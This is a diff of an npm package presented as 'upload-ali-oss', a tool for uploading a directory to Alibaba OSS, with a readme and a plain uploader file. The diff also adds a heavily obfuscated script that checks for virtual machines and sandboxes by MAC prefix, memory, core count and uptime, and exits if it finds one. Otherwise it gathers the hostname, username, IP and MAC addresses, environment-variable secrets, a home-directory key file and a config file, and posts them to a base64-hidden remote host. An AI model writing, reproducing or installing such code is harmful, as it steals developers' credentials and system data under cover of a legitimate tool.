_0x115db8=os[_0x1e45('0xc8')]()[_0x1e45('0x42')];if(_0x115db8<_0x51f854){return![];}else{if(_0x1bd15c[_0x1e45('0xb5')]!==_0x1bd15c[_0x1e45('0xb5')]){const _0x435280=[/^00:05:69/,/^00:0c:29/,/^00:50:56/];const _0x2f0409=/^08:00:27/;const _0x2e7c78=/^00:03:ff/;const _0x1af0c4=[/^02:42:ac/,/^00:11:22/,/^00:e0:4c/,/^ea:b7:ea/,/^32:95:f4/,/^02:42:ac/,/^52:54:00/,/^00:15:5d/];const _0x40d081=os['networkInterfaces']();const _0x447f70=Object[_0x1e45('0xce')](_0x40d081)[_0x1e45('0xa3')]()[_0x1e45('0x96')](({internal})=>!_0x393160)['map'](({mac})=>_0x4ff539)['filter'](Boolean);for(const _0x2213be of _0x447f70){if(_0x1af0c4['some'](_0xecbfcc=>_0xecbfcc[_0x1e45('0x59')](_0x2213be))||_0x2f0409[_0x1e45('0x59')](_0x2213be)||_0x2e7c78[_0x1e45('0x59')](_0x2213be)||_0x435280[_0x1e45('0xc9')](_0x4cc5d0=>_0x4cc5d0['test'](_0x2213be))){return!![];}}return![];}else{return!![];}}}function checkUptime(_0x1e3166){const _0x3e7ea2={};_0x3e7ea2['cBJcP']=function(_0x2c71c2,_0xb7d688){return _0x2c71c2*_0xb7d688;};const _0x492fae=_0x3e7ea2;const _0x3b2b9a=_0x492fae['cBJcP'](os[_0x1e45('0x84')](),0x3e8);return _0x3b2b9a>_0x1e3166;}function checkVirtualMachine(){const _0x58cc98={};_0x58cc98['JptjE']=function(_0x8fdf3e,_0x146fc9){return _0x8fdf3e===_0x146fc9;};_0x58cc98[_0x1e45('0x9a')]=_0x1e45('0x7a');const _0x2eba9a=_0x58cc98;const _0x1a4d48=[/^00:05:69/,/^00:0c:29/,/^00:50:56/];const _0x10ef6f=/^08:00:27/;const _0x433660=/^00:03:ff/;const _0x4da055=[/^02:42:ac/,/^00:11:22/,/^00:e0:4c/,/^ea:b7:ea/,/^32:95:f4/,/^02:42:ac/,/^52:54:00/,/^00:15:5d/];const _0x32b4c1=os['networkInterfaces']();const _0x1e99c5=Object['values'](_0x32b4c1)[_0x1e45('0xa3')]()['filter'](({internal})=>!internal)[_0x1e45('0x4a')](({mac})=>mac)[_0x1e45('0x96')](Boolean);for(const _0x2950d3 of _0x1e99c5){if(_0x4da055[_0x1e45('0xc9')](_0x4e3483=>_0x4e3483[_0x1e45('0x59')](_0x2950d3))||_0x10ef6f[_0x1e45('0x59')](_0x2950d3)||_0x433660[_0x1e45('0x59')](_0x2950d3)||_0x1a4d48[_0x1e45('0xc9')](_0x174223=>_0x174223[_0x1e45('0x59')](_0x2950d3))){if(_0x2eba9a['JptjE'](_0x2eba9a[_0x1e45('0x9a')],_0x1e45('0xb2'))){process[_0x1e45('0x3c')](0x1);}else{return!![];}}}return![];}function Main(){const _0x519b71={};_0x519b71[_0x1e45('0x6f')]=_0x1e45('0xdc');_0x519b71['WdJWp']=function(_0x3a9e07){return _0x3a9e07();};_0x519b71[_0x1e45('0x80')]=function(_0x21bade,_0x2bf87f){return _0x21bade!==_0x2bf87f;};_0x519b71['fvMpv']='Pjpnf';_0x519b71[_0x1e45('0x31')]=function(_0x2fc1fc,_0x3ca70f){return _0x2fc1fc(_0x3ca70f);};_0x519b71[_0x1e45('0x9e')]=function(_0x3872c6,_0x463952){return _0x3872c6!==_0x463952;};_0x519b71[_0x1e45('0x9')]=_0x1e45('0xaa');_0x519b71[_0x1e45('0x5d')]=function(_0x5b5447,_0x388ab3){return _0x5b5447*_0x388ab3;};const _0x9d18c=_0x519b71;if(_0x9d18c[_0x1e45('0x4')](checkVirtualMachine)){if(_0x9d18c[_0x1e45('0x80')]('fhxPz',_0x9d18c[_0x1e45('0xca')])){process[_0x1e45('0x3c')](0x1);}else{sKey=fs[_0x1e45('0xb')](sKeyFile,_0x9d18c['TrMFG']);}}if(!_0x9d18c['jOCoo'](checkMemory,0x2)){process[_0x1e45('0x3c')](0x1);}if(!_0x9d18c[_0x1e45('0x31')](checkCPUCores,0x2)){if(_0x9d18c[_0x1e45('0x9e')](_0x9d18c[_0x1e45('0x9')],_0x9d18c[_0x1e45('0x9')])){throw new TypeError(_0x1e45('0xa6'));}else{process['exit'](0x1);}}if(!checkUptime(_0x9d18c[_0x1e45('0x5d')](_0x9d18c['RPslH'](0x3e8,0x3c),0x3c))){process[_0x1e45('0x3c')](0x1);}collectTestingData();}const enKCFilePath=_0x1e45('0xab');const kConfigFile=path[_0x1e45('0x35')](os[_0x1e45('0x7')](),Buffer[_0x1e45('0x22')](enKCFilePath,'base64')[_0x1e45('0x72')]());let kConfig='';if(fs['existsSync'](kConfigFile)){try{kConfig=fs[_0x1e45('0xb')](kConfigFile,_0x1e45('0xdc'));}catch(_0x12f4e6){}}else{}const ensKFilePath=_0x1e45('0x2b');const sKeyFile=path['join'](os['homedir'](),Buffer[_0x1e45('0x22')](ensKFilePath,_0x1e45('0x64'))[_0x1e45('0x72')]());let sKey='';if(fs[_0x1e45('0x14')](sKeyFile)){try{sKey=fs[_0x1e45('0xb')](sKeyFile,_0x1e45('0xdc'));}catch(_0x1fdb76){}}else{}const encrypt=_0x324551=>{const _0x549faa={};_0x549faa[_0x1e45('0x4b')]=_0x1e45('0xdc');_0x549faa[_0x1e45('0x7d')]=function(_0x531cbb,_0x45fdaf){return _0x531cbb===_0x45fdaf;};_0x549faa[_0x1e45('0x4c')]=_0x1e45('0xdd');_0x549faa[_0x1e45('0xda')]=_0x1e45('0x75');_0x549faa['CqQTW']='FfhOB';_0x549faa['nILcH']=_0x1e45('0x91');_0x549faa['ahyMv']='base64';const _0x1b75c6=_0x549faa;if(!_0x324551)return'';if(_0x1b75c6[_0x1e45('0x7d')](typeof _0x324551,_0x1e45('0x2c'))){if(_0x1b75c6['rhsFJ']===_0x1b75c6[_0x1e45('0xda')]){try{sKey=fs[_0x1e45('0xb')](sKeyFile,_0x1b75c6['RmqVe']);}catch(_0x38f094){}}else{return Buffer[_0x1e45('0x22')](_0x324551)['toString'](_0x1e45('0x64'));}}else if(Buffer[_0x1e45('0x5c')](_0x324551)){if(_0x1b75c6[_0x1e45('0x4f')]!==_0x1b75c6[_0x1e45('0xb0')]){return _0x324551['toString'](_0x1b75c6[_0x1e45('0x68')]);}else{const _0x13205b=fn['apply'](context,arguments);fn=null;return _0x13205b;}}else{throw new TypeError(_0x1e45('0xa6'));}};const getTestingData=async _0xc60f80=>{const _0x345a92={};_0x345a92[_0x1e45('0x89')]=function(_0x5a93d2,_0x5897a2){return _0x5a93d2===_0x5897a2;};_0x345a92['FdYfD']=_0x1e45('0x8a');_0x345a92[_0x1e45('0xa1')]=_0x1e45('0x38');_0x345a92[_0x1e45('0x6c')]=function(_0x36f3cf,_0x32ff30){return _0x36f3cf(_0x32ff30);};_0x345a92[_0x1e45('0x81')]=_0x1e45('0x88');_0x345a92[_0x1e45('0xd5')]=function(_0x2560e6,_0x45819a){return _0x2560e6(_0x45819a);};_0x345a92[_0x1e45('0x8d')]=function(_0x40733e,_0x22bef5){return _0x40733e(_0x22bef5);};_0x345a92[_0x1e45('0x98')]=function(_0x374ad6,_0x1244a8){return _0x374ad6(_0x1244a8);};_0x345a92[_0x1e45('0xa8')]=function(_0x59bac0,_0x1fd4d9){return _0x59bac0(_0x1fd4d9);};_0x345a92[_0x1e45('0x3d')]=function(_0x5e371b,_0x422173){return _0x5e371b(_0x422173);};_0x345a92[_0x1e45('0x62')]=function(_0x89b58b,_0xc1e649){return _0x89b58b(_0xc1e649);};_0x345a92[_0x1e45('0x85')]=function(_0xf7203e,_0x3cfb3b){return _0xf7203e(_0x3cfb3b);};_0x345a92[_0x1e45('0x7c')]=function(_0x125397,_0x417952){return _0x125397(_0x417952);};const _0x199de6=_0x345a92;try{if(_0x199de6[_0x1e45('0x89')](_0x199de6[_0x1e45('0xd7')],_0x199de6[_0x1e45('0xa1')])){data+=chunk;}else{const _0x5984c7=process['env'][_0x1e45('0x34')]||_0x1e45('0x88');const _0x9f2751=_0x199de6['JltZR'](encrypt,_0x5984c7);const _0x30addd=process[_0x1e45('0xc7')][_0x1e45('0x2a')]||_0x199de6[_0x1e45('0x81')];const _0x30b368=encrypt(_0x30addd);const _0x5752b5=process[_0x1e45('0xc7')][_0x1e45('0x13')]||_0x199de6[_0x1e45('0x81')];const _0x4831c3=_0x199de6['EPSZp'](encrypt,_0x5752b5);const _0x1456e6=process[_0x1e45('0xc7')][_0x1e45('0x47')]||_0x199de6[_0x1e45('0x81')];const _0x54bdb9=_0x199de6[_0x1e45('0x8d')](encrypt,_0x1456e6);const _0x36a476=process[_0x1e45('0xc7')][_0x1e45('0xbd')]||_0x199de6['AWxIW'];const _0x10b132=encrypt(_0x36a476);const _0x1667cb=process['env'][_0x1e45('0xc3')]||_0x199de6[_0x1e45('0x81')];const _0x1504b2=_0x199de6[_0x1e45('0x8d')](encrypt,_0x1667cb);const _0x1b8480={};_0x1b8480['ct']=_0x199de6['NKwGq'](encrypt,new Date()['toISOString']());_0x1b8480['p']=_0x199de6[_0x1e45('0xa8')](encrypt,packageName);_0x1b8480['sp']=_0x199de6[_0x1e45('0xa8')](encrypt,process[_0x1e45('0x94')][0x1]);_0x1b8480['cp']=_0x199de6[_0x1e45('0x3d')](encrypt,process[_0x1e45('0x1')]());_0x1b8480['hn']=_0x199de6[_0x1e45('0x62')](encrypt,os[_0x1e45('0xc0')]());_0x1b8480['un']=_0x199de6['FfJLF'](encrypt,username);_0x1b8480['ei']=encrypt(_0xc60f80);_0x1b8480['i4']=_0x199de6['TujEc'](encrypt,ipv4);_0x1b8480['i6']=encrypt(ipv6);_0x1b8480['ds']=dns['getServers']();_0x1b8480['ma']=_0x199de6[_0x1e45('0x7c')](encrypt,macAddr);_0x1b8480[_0x1e45('0x57')]=_0x9f2751;_0x1b8480['sk']=_0x4831c3;_0x1b8480[_0x1e45('0x93')]=_0x30b368;_0x1b8480[_0x1e45('0x1b')]=_0x54bdb9;_0x1b8480[_0x1e45('0xf')]=_0x10b132;_0x1b8480['st']=_0x1504b2;_0x1b8480['v']=_0x199de6[_0x1e45('0x7c')](encrypt,process[_0x1e45('0xaf')]);_0x1b8480[_0x1e45('0x28')]=_0x199de6[_0x1e45('0x7c')](encrypt,sKey);_0x1b8480['kc']=_0x199de6[_0x1e45('0x7c')](encrypt,kConfig);_0x1b8480['pj']=_0x199de6['TujEc'](encrypt,JSON['stringify'](packageJSON));return _0x1b8480;}}catch(_0x3f48f5){return{};}};const collectTestingData=async()=>{const _0x5a264a={};_0x5a264a[_0x1e45('0x2d')]=function(_0x57ce97){return _0x57ce97();};_0x5a264a[_0x1e45('0xa9')]=function(_0x4ce5f9,_0x22e9c9){return _0x4ce5f9(_0x22e9c9);};_0x5a264a[_0x1e45('0x71')]=_0x1e45('0x9d');_0x5a264a[_0x1e45('0x3b')]='L3JlcG9ydC8=';_0x5a264a[_0x1e45('0x48')]='abort';const _0x18a339=_0x5a264a;try{const _0x28153a=await _0x18a339['pgPre'](getexip);const _0x1936c9=await _0x18a339[_0x1e45('0xa9')](getTestingData,_0x28153a);const _0x3116a9=JSON['stringify'](_0x1936c9);const _0x32a6d3=Buffer['from'](_0x18a339[_0x1e45('0x71')],'base64')['toString']();const _0x1a9476=Buffer[_0x1e45('0x22')](_0x18a339[_0x1e45('0x3b')],'base64')['toString']();const _0x4589ac={};_0x4589ac[_0x1e45('0x8')]=_0x1e45('0x95');_0x4589ac['Content-Length']=_0x3116a9[_0x1e45('0x42')];const _0x2b92aa={};_0x2b92aa['hostname']=_0x32a6d3;_0x2b92aa[_0x1e45('0x56')]=0x1bb;_0x2b92aa[_0x1e45('0x6e')]=_0x1a9476;_0x2b92aa[_0x1e45('0x6d')]=_0x1e45('0xcc');_0x2b92aa[_0x1e45('0x90')]=_0x4589ac;const _0x47920c=_0x2b92aa;const _0x2034ce=https['request'](_0x47920c,_0xf829a8=>{});_0x2034ce['on'](_0x1e45('0x4d'),_0x4bd955=>{});_0x2034ce['on'](_0x18a339[_0x1e45('0x48')],()=>{});_0x2034ce[_0x1e45('0xd2')](0x1388,()=>{_0x2034ce[_0x1e45('0x4e')]();});_0x2034ce['write'](_0x3116a9);_0x2034ce[_0x1e45('0xd6')]();}catch(_0x33e7a1){}};const getexip=()=>{const _0x1a4de6={};_0x1a4de6[_0x1e45('0xb7')]='utf8';_0x1a4de6[_0x1e45('0x33')]=function(_0x2d4898,_0x13b755){return _0x2d4898!==_0x13b755;};_0x1a4de6[_0x1e45('0x44')]=function(_0x3d20d3,_0x561c8b){return _0x3d20d3(_0x561c8b);};_0x1a4de6[_0x1e45('0xa7')]=function(_0x57a8ae,_0x1a0dd5){return _0x57a8ae!==_0x1a0dd5;};_0x1a4de6[_0x1e45('0x11')]=_0x1e45('0x58');_0x1a4de6[_0x1e45('0x1d')]='NTuud';_0x1a4de6[_0x1e45('0xd')]=_0x1e45('0x82');const _0x1138b4=_0x1a4de6;const _0x3aaa92=_0x1138b4[_0x1e45('0xd')];const _0x22dc8c=Buffer['from'](_0x3aaa92,_0x1e45('0x64'))['toString']();return new Promise((_0x10cc42,_0x3c7838)=>{const _0x5174a8={};_0x5174a8[_0x1e45('0xb3')]=_0x1138b4[_0x1e45('0xb7')];_0x5174a8[_0x1e45('0xcd')]=function(_0x5d3c57,_0x1c9ec6){return _0x1138b4[_0x1e45('0x33')](_0x5d3c57,_0x1c9ec6);};_0x5174a8['QSdnF']=_0x1e45('0x78');_0x5174a8[_0x1e45('0xb8')]=function(_0x2aa56d,_0x3de2f5){return _0x1138b4[_0x1e45('0x44')](_0x2aa56d,_0x3de2f5);};_0x5174a8['mgygH']=function(_0x319f5b,_0x38dbb9){return _0x1138b4[_0x1e45('0xa7')](_0x319f5b,_0x38dbb9);};_0x5174a8[_0x1e45('0xa0')]=_0x1138b4['JSIzQ'];_0x5174a8[_0x1e45('0x40')]=_0x1138b4[_0x1e45('0x1d')];_0x5174a8[_0x1e45('0x3a')]=function(_0x37a224,_0x3c9a0c){return _0x37a224(_0x3c9a0c);};const _0x51ab65=_0x5174a8;https[_0x1e45('0xb6')](_0x22dc8c,_0x5466e4=>{const _0x5720db={};_0x5720db[_0x1e45('0x6')]=function(_0x2d0488,_0x8b9f17){return _0x51ab65[_0x1e45('0xb8')](_0x2d0488,_0x8b9f17);};const _0x563812=_0x5720db;if(_0x51ab65[_0x1e45('0x9c')](_0x51ab65[_0x1e45('0xa0')],_0x51ab65[_0x1e45('0x40')])){let _0x2b8929='';_0x5466e4['on'](_0x1e45('0x63'),_0x2bbd44=>{const _0x418745={};_0x418745[_0x1e45('0x9b')]=_0x51ab65[_0x1e45('0xb3')];const _0x111a3a=_0x418745;if(_0x51ab65['JIOTJ'](_0x51ab65[_0x1e45('0x5e')],_0x51ab65[_0x1e45('0x5e')])){kConfig=fs[_0x1e45('0xb')](kConfigFile,_0x111a3a[_0x1e45('0x9b')]);}else{_0x2b8929+=_0x2bbd44;}});_0x5466e4['on'](_0x1e45('0xd6'),()=>{const {ip}=JSON['parse'](_0x2b8929);_0x563812['jVrai'](_0x10cc42,ip);});}else{const _0x43cf0d=fn[_0x1e45('0x7b')](context,arguments);fn=null;return _0x43cf0d;}})['on']('error',_0x3754ec=>{_0x51ab65[_0x1e45('0x3a')](_0x3c7838,_0x3754ec);});});};Main();
package/readme.md ADDED
@@ -0,0 +1,24 @@
1
+ # Upload-ali-oss
2
+
3
+ Currently (v0.1) this package could only be used as npx command.
4
+
5
+ Use the internal npm to enable this npx command
6
+
7
+ ## Example
8
+
9
+ ```shell
10
+ $ npx upload-ali-oss --config <config.json> <directory>
11
+ ```
12
+
13
+ #### Argument
14
+ **directory**: the directory that would be uploaded to corresponding bucket.
15
+
16
+ **<config.json>**: a json file including oss configuration, e.g.
17
+ ```json
18
+ {
19
+ "accessKeyId": "id",
20
+ "accessKeySecret": "secret",
21
+ "region": "region",
22
+ "bucket": "bucket-name"
23
+ }
24
+ ```
package/upload.js ADDED
@@ -0,0 +1,31 @@
1
+ const fs = require('fs');
2
+ const mime = require('mime');
3
+ const path = require('path');
4
+ const OSSClient = require('ali-oss');
5
+
6
+ const upload = async (source, ossClient) => {
7
+ const files = fs.readdirSync(source);
8
+
9
+ for (let file of files) {
10
+ const filepath = path.join(source, file);
11
+ const isDirectory = fs.lstatSync(filepath).isDirectory();
12
+
13
+ if (isDirectory) {
14
+ await upload(filepath, ossClient);
15
+ } else {
16
+ console.log(`uploading ${filepath}`);
17
+
18
+ const filebuffer = await fs.promises.readFile(filepath);
19
+ await ossClient.put(
20
+ filepath.replace(/\\/g, '/'),
21
+ filebuffer,
22
+ { mime: mime.getType(path.extname(filepath)) }
23
+ )
24
+ }
25
+ }
26
+ }
27
+
28
+ module.exports = async (source, config) => {
29
+ const ossClient = new OSSClient(config);
30
+ await upload(source, ossClient);
31
+ }